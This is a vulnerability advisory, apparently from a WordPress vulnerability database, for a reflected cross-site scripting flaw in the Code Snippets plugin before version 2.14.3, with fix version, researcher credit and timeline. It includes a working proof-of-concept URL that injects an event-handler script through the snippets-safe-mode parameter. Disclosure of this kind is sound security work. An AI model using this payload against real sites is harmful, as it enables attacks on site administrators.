WordPress Plugin Vulnerabilities
Code Snippets < 2.14.3 - Reflected Cross-Site Scripting
Description
The plugin does not escape the snippets-safe-mode parameter before outputting it back in attributes, leading to a Reflected Cross-Site Scripting issue
Proof of Concept
https://example.com/wp-admin/admin.php?page=snippets&snippets-safe-mode%5B0%5D=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28/XSS/%29+x%3D
Affects Plugins
Fixed in version 2.14.3
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2021-12-27 (about 9 months ago)
Added
2021-12-27 (about 9 months ago)
Last Updated
2022-04-09 (about 5 months ago)